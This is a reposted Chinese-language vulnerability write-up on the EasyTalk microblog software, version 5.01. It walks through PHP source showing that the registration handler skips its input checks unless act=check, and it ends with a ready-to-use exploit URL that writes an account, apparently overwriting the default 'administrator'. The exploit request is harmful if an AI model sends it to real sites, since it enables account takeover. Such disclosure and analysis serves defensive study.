EasyTalk微博任意修改账户漏洞漏洞预警 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    作者:心灵

    漏洞发现在最新版本  5.01  旧版本没源码  不知是否存在

    还是那句话..看代码......

    看文件  目录文件 op.php

   

    include('common.inc.php');  //载入全局变量

    $op = $_GET['op']?$_GET['op']:'login';  // 因为下面代码的原因所以这不需要过滤

    $allowviewarray=array("view","login","register","reset","faq","web","contact","top");

    $allop=array("account","badge","faq","finder","follows","login","mailauth","register","reset","sendmsg","setting","share","theme","view","web","feedback","contact","im","top","guide","privatemsg");  //这2个不用解析了

    if (!in_array($op, $allowviewarray)) {

    tologin();  //  不是$allowviewarray 定义的就跳到验证登录页面

    }

    if (in_array($op, $allop)) {

    require('source/op_'.$op.'.inc.php');

    } else {

    header("location: $webaddr/op/web/404");

    }

    ?>

    这里简单得很  看下common.inc.php

    主要代码

    $prev=$_SERVER['HTTP_REFERER'];

    $addtime=time();

    $action=$_POST['action'];

    $act=$_GET['act'];    //问题在这里....配合一下 register里面的代码就可以了

    $refer=$_POST['refer']?$_POST['refer']:$_GET['refer'];

    $backto=$_POST['backto']?$_POST['backto']:$_GET['backto']; //ajax 回调

    $urlrefer=$_COOKIE["urlrefer"];

    再看 source\op_register.inc.php

    这里就是 op.php?op=register  载入的  看op.php那文件就知 简单得很..

    还是那句 看代码

   

    ....  前面是多余代码...省略 主要是检测登录状态

    $invitecode=trim($_GET['invitecode']);

    $username=daddslashes(trim($_GET['uname']));

    $nickname=daddslashes(clean_html(trim($_GET['unick'])));

    $mailadres=daddslashes(trim($_GET['mail']));

    $pass1=daddslashes(trim($_GET['pass1']));

    $pass2=daddslashes(trim($_GET['pass2']));

    $deniedname=array("admin","attachments","badge","images","include"."install","source","templates");

    //用户名  名称  EMALL  密码1 密码2  都做了过滤注入工作...

    if ($act=="check") {    //主要问题在这里...上面common.inc.php说了act是_GET的 如果act不等于check呢?那就不用检测了..............

    if ($closereg==3) {

    $invitemsg=invitecodeauth($invitecode);

    if ($invitemsg!='ok') {

    echo $invitemsg;

    exit;

    }

    }

    if(!preg_match("/^[a-zA-Z\d]*$/i",$username)) {

    echo "账户名只能使用数字和字母组合!";

    exit;

    }

    if(in_array($username, $deniedname)) {

    echo "账户名不能使用!";

    //........省略一堆验证注册信息的东西

    if ($act=="reg") {  //悲剧了....他真以为所有人都按照他脚本的路去走,

EasyTalk微博任意修改账户漏洞漏洞预警

电脑资料

EasyTalk微博任意修改账户漏洞漏洞预警》(https://www.unjs.com)。。。

    if ($username && $nickname && $mailadres && $pass1==$pass2) { //这文件开头说了都是_GET 里的

    $t=$db->query("INSERT INTO et_users (user_name,nickname,password,mailadres,signupdate) VALUES ('$username','$nickname','".md5(md5($pass2))."','$mailadres','$addtime')");

    //悲剧悲剧 直接写入数据库了....

    //来到这里已经完成整个漏洞过程 下面代码省略

    ?>

    EXP:op.php?op=register&act=reg&uname=administrator&unick=admin&mail=xinling@t00ls.net

    &pass1=admin&pass2=admin

    administrator是默认管理员账号  当然可以修改其他

最新文章